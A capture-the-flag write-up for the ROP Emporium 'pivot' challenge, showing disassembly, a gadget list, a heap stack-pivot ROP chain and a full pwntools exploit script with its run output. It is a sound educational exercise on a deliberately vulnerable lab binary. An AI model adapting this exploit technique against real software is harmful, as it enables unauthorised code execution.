ROP Emporium Pivot Writeup
This challenge, as most ROP Emporium challenges, requires us to overflow the stack to reach the ret2win
function. In order to achieve this, we are going to need to create a stack pivot since there is not enough room in the stack itself.
Using Ghidra, I spotted these functions - pwnme
, ret2win
and uselessFunction
. Let’s start by running the binary:
pivot by ROP Emporium
64bits
Call ret2win() from libpivot.so
The Old Gods kindly bestow upon you a place to pivot: 0x7ffff7988f10
Send your second chain now and it will land there
> a
Now kindly send your stack smash
>
And then some gdb disassembling:
pwndbg> checksec
[*] '/home/adamgold/Desktop/ctfs/pivot/pivot'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RPATH: './'
pwndbg> disass main
Dump of assembler code for function main:
0x0000000000400996 <+0>: push rbp
0x0000000000400997 <+1>: mov rbp,rsp
0x000000000040099a <+4>: sub rsp,0x10
0x000000000040099e <+8>: mov rax,QWORD PTR [rip+0x2016db] # 0x602080 <stdout@@GLIBC_2.2.5>
0x00000000004009a5 <+15>: mov ecx,0x0
0x00000000004009aa <+20>: mov edx,0x2
0x00000000004009af <+25>: mov esi,0x0
0x00000000004009b4 <+30>: mov rdi,rax
0x00000000004009b7 <+33>: call 0x400870 <setvbuf@plt>
0x00000000004009bc <+38>: mov rax,QWORD PTR [rip+0x2016dd] # 0x6020a0 <stderr@@GLIBC_2.2.5>
0x00000000004009c3 <+45>: mov ecx,0x0
0x00000000004009c8 <+50>: mov edx,0x2
0x00000000004009cd <+55>: mov esi,0x0
0x00000000004009d2 <+60>: mov rdi,rax
0x00000000004009d5 <+63>: call 0x400870 <setvbuf@plt>
0x00000000004009da <+68>: mov edi,0x400b98
0x00000000004009df <+73>: call 0x400800 <puts@plt>
0x00000000004009e4 <+78>: mov edi,0x400bae
0x00000000004009e9 <+83>: call 0x400800 <puts@plt>
0x00000000004009ee <+88>: mov edi,0x1000000
0x00000000004009f3 <+93>: call 0x400860 <malloc@plt>
0x00000000004009f8 <+98>: mov QWORD PTR [rbp-0x8],rax
0x00000000004009fc <+102>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000400a00 <+106>: add rax,0xffff00
0x0000000000400a06 <+112>: mov QWORD PTR [rbp-0x10],rax
0x0000000000400a0a <+116>: mov rax,QWORD PTR [rbp-0x10]
0x0000000000400a0e <+120>: mov rdi,rax
0x0000000000400a11 <+123>: call 0x400a3b <pwnme>
0x0000000000400a16 <+128>: mov QWORD PTR [rbp-0x10],0x0
0x0000000000400a1e <+136>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000400a22 <+140>: mov rdi,rax
0x0000000000400a25 <+143>: call 0x4007f0 <free@plt>
0x0000000000400a2a <+148>: mov edi,0x400bb6
0x0000000000400a2f <+153>: call 0x400800 <puts@plt>
0x0000000000400a34 <+158>: mov eax,0x0
0x0000000000400a39 <+163>: leave
0x0000000000400a3a <+164>: ret
End of assembler dump.
pwndbg> disass pwnme
Dump of assembler code for function pwnme:
0x0000000000400a3b <+0>: push rbp
0x0000000000400a3c <+1>: mov rbp,rsp
0x0000000000400a3f <+4>: sub rsp,0x30
0x0000000000400a43 <+8>: mov QWORD PTR [rbp-0x28],rdi
0x0000000000400a47 <+12>: lea rax,[rbp-0x20]
0x0000000000400a4b <+16>: mov edx,0x20
0x0000000000400a50 <+21>: mov esi,0x0
0x0000000000400a55 <+26>: mov rdi,rax
0x0000000000400a58 <+29>: call 0x400820 <memset@plt>
0x0000000000400a5d <+34>: mov edi,0x400bc0
0x0000000000400a62 <+39>: call 0x400800 <puts@plt>
0x0000000000400a67 <+44>: mov rax,QWORD PTR [rbp-0x28]
0x0000000000400a6b <+48>: mov rsi,rax
0x0000000000400a6e <+51>: mov edi,0x400be0
0x0000000000400a73 <+56>: mov eax,0x0
0x0000000000400a78 <+61>: call 0x400810 <printf@plt>
0x0000000000400a7d <+66>: mov edi,0x400c20
0x0000000000400a82 <+71>: call 0x400800 <puts@plt>
0x0000000000400a87 <+76>: mov edi,0x400c52
0x0000000000400a8c <+81>: mov eax,0x0
0x0000000000400a91 <+86>: call 0x400810 <printf@plt>
0x0000000000400a96 <+91>: mov rdx,QWORD PTR [rip+0x2015f3] # 0x602090 <stdin@@GLIBC_2.2.5>
0x0000000000400a9d <+98>: mov rax,QWORD PTR [rbp-0x28]
0x0000000000400aa1 <+102>: mov esi,0x100
0x0000000000400aa6 <+107>: mov rdi,rax
0x0000000000400aa9 <+110>: call 0x400840 <fgets@plt>
0x0000000000400aae <+115>: mov edi,0x400c58
0x0000000000400ab3 <+120>: call 0x400800 <puts@plt>
0x0000000000400ab8 <+125>: mov edi,0x400c52
0x0000000000400abd <+130>: mov eax,0x0
0x0000000000400ac2 <+135>: call 0x400810 <printf@plt>
0x0000000000400ac7 <+140>: mov rdx,QWORD PTR [rip+0x2015c2] # 0x602090 <stdin@@GLIBC_2.2.5>
0x0000000000400ace <+147>: lea rax,[rbp-0x20]
0x0000000000400ad2 <+151>: mov esi,0x40
0x0000000000400ad7 <+156>: mov rdi,rax
0x0000000000400ada <+159>: call 0x400840 <fgets@plt>
0x0000000000400adf <+164>: nop
0x0000000000400ae0 <+165>: leave
0x0000000000400ae1 <+166>: ret
End of assembler dump.
pwndbg> disass uselessFunction
Dump of assembler code for function uselessFunction:
0x0000000000400ae2 <+0>: push rbp
0x0000000000400ae3 <+1>: mov rbp,rsp
0x0000000000400ae6 <+4>: mov eax,0x0
0x0000000000400aeb <+9>: call 0x400850 <foothold_function@plt>
0x0000000000400af0 <+14>: mov edi,0x1
0x0000000000400af5 <+19>: call 0x400880 <exit@plt>
End of assembler dump.
NX enabled, meaning we can not execute nothing on the stack. We have two stages of shellcode (also can be seen when running the binary) - First one uses fgets
and stores the input on previously allocated buffer, and the second one is vulnerable to buffer overflow.
From the uselessFunction
disassembly, we can see that it just calls the foothold_function
from libpivot.so
. But uselessFunction
isn’t called anywhere in the code, so in order to populate the .got.plt
entry, we have to first call the foothold_function
.
Let’s design a basic plan:
- Call the foothold_function to populate the .got.plt entry.
- Add the offset between
ret2win
tofoothold_function
to get ourret2win
function. - Call it.
Let’s get the ret2win
and foothold_function
addresses:
adamgold@adamgold-VirtualBox:~/Desktop/CTFs/pivot$ objdump -d ./libpivot.so | grep ret2win
0000000000000abe :
adamgold@adamgold-VirtualBox:~/Desktop/CTFs/pivot$ objdump -d ./libpivot.so | grep foothold_function
0000000000000970 :
The offset:
pwndbg> p/x 0x0000000000000abe - 0x0000000000000970
$2 = 0x14e
And the .got.plt address of foothold_function
:
Relocation section '.rela.plt' at offset 0x6c8 contains 10 entries:
Offset Info Type Sym. Value Sym. Name + Addend
000000602018 000100000007 R_X86_64_JUMP_SLO 0000000000000000 free@GLIBC_2.2.5 + 0
000000602020 000300000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
000000602028 000400000007 R_X86_64_JUMP_SLO 0000000000000000 printf@GLIBC_2.2.5 + 0
000000602030 000500000007 R_X86_64_JUMP_SLO 0000000000000000 memset@GLIBC_2.2.5 + 0
000000602038 000600000007 R_X86_64_JUMP_SLO 0000000000000000 __libc_start_main@GLIBC_2.2.5 + 0
000000602040 000700000007 R_X86_64_JUMP_SLO 0000000000000000 fgets@GLIBC_2.2.5 + 0
000000602048 000900000007 R_X86_64_JUMP_SLO 0000000000000000 foothold_function + 0
000000602050 000a00000007 R_X86_64_JUMP_SLO 0000000000000000 malloc@GLIBC_2.2.5 + 0
000000602058 000b00000007 R_X86_64_JUMP_SLO 0000000000000000 setvbuf@GLIBC_2.2.5 + 0
000000602060 000d00000007 R_X86_64_JUMP_SLO 0000000000000000 exit@GLIBC_2.2.5 + 0
Gadget Hunt
adamgold@adamgold-VirtualBox:~/Desktop/ctfs/pivot$ ropper --file pivot
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
Gadgets
=======
0x0000000000400b7f: add bl, dh; ret;
0x0000000000400984: add byte ptr [rax - 0x7b], cl; sal byte ptr [rcx + rsi*8 + 0x55], 0x48; mov ebp, esp; call rax;
0x0000000000400b7d: add byte ptr [rax], al; add bl, dh; ret;
0x0000000000400982: add byte ptr [rax], al; add byte ptr [rax - 0x7b], cl; sal byte ptr [rcx + rsi*8 + 0x55], 0x48; mov ebp, esp; call rax;
0x0000000000400b7b: add byte ptr [rax], al; add byte ptr [rax], al; add bl, dh; ret;
0x00000000004008fc: add byte ptr [rax], al; add byte ptr [rax], al; pop rbp; ret;
0x0000000000400a35: add byte ptr [rax], al; add byte ptr [rax], al; leave; ret;
0x0000000000400a36: add byte ptr [rax], al; add cl, cl; ret;
0x00000000004007cb: add byte ptr [rax], al; add rsp, 8; ret;
0x0000000000400af3: add byte ptr [rax], al; call 0x880; nop word ptr [rax + rax]; pop rax; ret;
0x0000000000400ad5: add byte ptr [rax], al; mov rdi, rax; call 0x840; nop; leave; ret;
0x0000000000400afe: add byte ptr [rax], al; pop rax; ret;
0x00000000004008fe: add byte ptr [rax], al; pop rbp; ret;
0x0000000000400b82: add byte ptr [rax], al; sub rsp, 8; add rsp, 8; ret;
0x00000000004008e8: add byte ptr [rax], al; test rax, rax; je 0x900; pop rbp; mov edi, 0x602078; jmp rax;
0x0000000000400936: add byte ptr [rax], al; test rax, rax; je 0x948; pop rbp; mov edi, 0x602078; jmp rax;
0x0000000000400983: add byte ptr [rax], al; test rax, rax; je 0x97b; push rbp; mov rbp, rsp; call rax;
0x0000000000400a37: add byte ptr [rax], al; leave; ret;
0x0000000000400afd: add byte ptr [rax], r8b; pop rax; ret;
0x0000000000400a38: add cl, cl; ret;
0x0000000000400af1: add dword ptr [rax], eax; add byte ptr [rax], al; call 0x880; nop word ptr [rax + rax]; pop rax; ret;
0x0000000000400964: add eax, 0x20173e; add ebx, esi; ret;
0x0000000000400b0a: add eax, ebp; ret;
0x0000000000400969: add ebx, esi; ret;
0x00000000004007ce: add esp, 8; ret;
0x0000000000400b09: add rax, rbp; ret;
0x00000000004007cd: add rsp, 8; ret;
0x00000000004008f2: and byte ptr [rax], ah; jmp rax;
0x0000000000400967: and byte ptr [rax], al; add ebx, esi; ret;
0x0000000000400a25: call 0x7f0; mov edi, 0x400bb6; call 0x800; mov eax, 0; leave; ret;
0x0000000000400a2f: call 0x800; mov eax, 0; leave; ret;
0x0000000000400ada: call 0x840; nop; leave; ret;
0x0000000000400aeb: call 0x850; mov edi, 1; call 0x880; nop word ptr [rax + rax]; pop rax; ret;
0x0000000000400af5: call 0x880; nop word ptr [rax + rax]; pop rax; ret;
0x0000000000400995: call qword ptr [rbp + 0x48];
0x000000000040098e: call rax;
0x0000000000400ca3: call rsp;
0x0000000000400b5c: fmul qword ptr [rax - 0x7d]; ret;
0x00000000004008ed: je 0x900; pop rbp; mov edi, 0x602078; jmp rax;
0x000000000040093b: je 0x948; pop rbp; mov edi, 0x602078; jmp rax;
0x0000000000400988: je 0x97b; push rbp; mov rbp, rsp; call rax;
0x0000000000400d9b: jmp qword ptr [rbp];
0x0000000000400d5b: jmp qword ptr [rdi];
0x0000000000400af9: jmp qword ptr [rsi + 0xf];
0x00000000004008f5: jmp rax;
0x0000000000400961: lcall [rbp - 0x3a]; add eax, 0x20173e; add ebx, esi; ret;
0x0000000000400a34: mov eax, 0; leave; ret;
0x0000000000400b06: mov eax, dword ptr [rax]; ret;
0x000000000040098c: mov ebp, esp; call rax;
0x0000000000400a2a: mov edi, 0x400bb6; call 0x800; mov eax, 0; leave; ret;
0x00000000004008f0: mov edi, 0x602078; jmp rax;
0x0000000000400af0: mov edi, 1; call 0x880; nop word ptr [rax + rax]; pop rax; ret;
0x0000000000400ad8: mov edi, eax; call 0x840; nop; leave; ret;
0x0000000000400ad2: mov esi, 0x40; mov rdi, rax; call 0x840; nop; leave; ret;
0x0000000000400b05: mov rax, qword ptr [rax]; ret;
0x000000000040098b: mov rbp, rsp; call rax;
0x0000000000400ad7: mov rdi, rax; call 0x840; nop; leave; ret;
0x0000000000400afb: nop dword ptr [rax + rax]; pop rax; ret;
0x00000000004008f8: nop dword ptr [rax + rax]; pop rbp; ret;
0x0000000000400945: nop dword ptr [rax]; pop rbp; ret;
0x0000000000400afa: nop word ptr [rax + rax]; pop rax; ret;
0x00000000004008f7: nop word ptr [rax + rax]; pop rbp; ret;
0x0000000000400a2c: or eax, dword ptr [rax]; call 0x800; mov eax, 0; leave; ret;
0x0000000000400b6c: pop r12; pop r13; pop r14; pop r15; ret;
0x0000000000400b6e: pop r13; pop r14; pop r15; ret;
0x0000000000400b70: pop r14; pop r15; ret;
0x0000000000400b72: pop r15; ret;
0x0000000000400b00: pop rax; ret;
0x00000000004008ef: pop rbp; mov edi, 0x602078; jmp rax;
0x0000000000400b6b: pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
0x0000000000400b6f: pop rbp; pop r14; pop r15; ret;
0x0000000000400900: pop rbp; ret;
0x0000000000400b73: pop rdi; ret;
0x0000000000400b71: pop rsi; pop r15; ret;
0x0000000000400b6d: pop rsp; pop r13; pop r14; pop r15; ret;
0x000000000040098a: push rbp; mov rbp, rsp; call rax;
0x0000000000400aca: ret 0x2015;
0x0000000000400987: sal byte ptr [rcx + rsi*8 + 0x55], 0x48; mov ebp, esp; call rax;
0x0000000000400b85: sub esp, 8; add rsp, 8; ret;
0x0000000000400b84: sub rsp, 8; add rsp, 8; ret;
0x00000000004008fa: test byte ptr [rax], al; add byte ptr [rax], al; add byte ptr [rax], al; pop rbp; ret;
0x00000000004008eb: test eax, eax; je 0x900; pop rbp; mov edi, 0x602078; jmp rax;
0x0000000000400939: test eax, eax; je 0x948; pop rbp; mov edi, 0x602078; jmp rax;
0x0000000000400986: test eax, eax; je 0x97b; push rbp; mov rbp, rsp; call rax;
0x00000000004008ea: test rax, rax; je 0x900; pop rbp; mov edi, 0x602078; jmp rax;
0x0000000000400938: test rax, rax; je 0x948; pop rbp; mov edi, 0x602078; jmp rax;
0x0000000000400985: test rax, rax; je 0x97b; push rbp; mov rbp, rsp; call rax;
0x0000000000400b03: xchg eax, esp; ret;
0x0000000000400b02: xchg rax, rsp; ret;
0x0000000000400989: int1; push rbp; mov rbp, rsp; call rax;
0x0000000000400a39: leave; ret;
0x0000000000400adf: nop; leave; ret;
0x00000000004007c9: ret;
We can use these gadgets:
- pop
rax
to getfoothold_function
got address into it:0x0000000000400b00: pop rax; ret;
- Move the actual value, which is
foothold_function
address intorax
:0x0000000000400b05: mov rax, qword ptr [rax]; ret;
- pop
rbp
to get our offset (0x14e
) into it:0x0000000000400900: pop rbp; ret;
- add
rbp
torax
:0x0000000000400b09: add rax, rbp; ret;
- call the function:
0x000000000040098e: call rax;
After that, for our buffer overflow, we can again use the pop rax
gadget to get the heap address (which we get from the binary output) into it, and then swap rsp
and rax
(0x0000000000400b02: xchg rax, rsp; ret;
) so we’ll get our pivot - the rsp
will point to the heap memory!
Technical Chain
-
Call
foothold_function
-
Load effective address of
foothold@got
-
Add
0x14E
to that register -
Return to the address in that register
-
Calculate
ret2win
address and return to it
Stack chain:
-
xchg rax, rsp; ret;
-
pop rax; ret
-
LEAKED HEAP ADDRESS
Heap ROP chain:
-
0x0000000000400850
(foothold plt) -
pop rax; ret;
-
0x000000602048
(foothold got) -
pop rbp; ret;
-
0x14E
-
add rax, rbp; ret;
-
Load effective address of
rax
-
call rax
from pwn import *
ret2win_offset = 0x0000000000000abe
foothold_offset = 0x0000000000000970
add_offset = ret2win_offset - foothold_offset
foothold_plt = 0x0000000000400850
foothold_got = 0x000000602048
xchg_rax = 0x000400b02
pop_rax = 0x0000000000400b00
add_rax_rbp = 0x0000000000400b09
pop_rbp = 0x0000000000400900
load_rax =0x0000000000400b05
call_rax = 0x000000000040098e
def exploit():
p = process("./pivot")
raw_input(str(p.proc.pid))
p.recvuntil("pivot: 0x")
addr = int(p.recv(12), 16)
log.info("address received: 0x%x" % addr)
p.recvrepeat(0.2)
# stack pivot in heap
stack_pivot = p64(foothold_plt)
stack_pivot += p64(pop_rax)
stack_pivot += p64(foothold_got)
stack_pivot += p64(load_rax)
stack_pivot += p64(pop_rbp)
stack_pivot += p64(add_offset)
stack_pivot += p64(add_rax_rbp)
stack_pivot += p64(call_rax)
log.info("sending heap data for the stack pivot")
p.sendline(stack_pivot)
p.recvrepeat(0.2)
log.info("sending first bof - stack pivoting")
# stack overflow, return to stack pivot
stack_chain = p64(pop_rax)
stack_chain += p64(addr)
stack_chain += p64(xchg_rax)
p.sendline("A" * 40 + stack_chain)
p.recvuntil("foothold_function(), check out my .got.plt entry to gain a foothold into libpivot.so")
log.success( p.recvall())
if __name__ == "__main__":
exploit()
adamgold@adamgold-VirtualBox:~/Desktop/ctfs/pivot$ python exp.py
[+] Starting local process './pivot': pid 13106
13106
[*] address received: 0x7f2367d85f10
[*] sending heap data for the stack pivot
[*] sending first bof - stack pivoting
[+] Receiving all data: Done (33B)
[*] Process './pivot' stopped with exit code 0 (pid 13106)
[+] ROPE{********}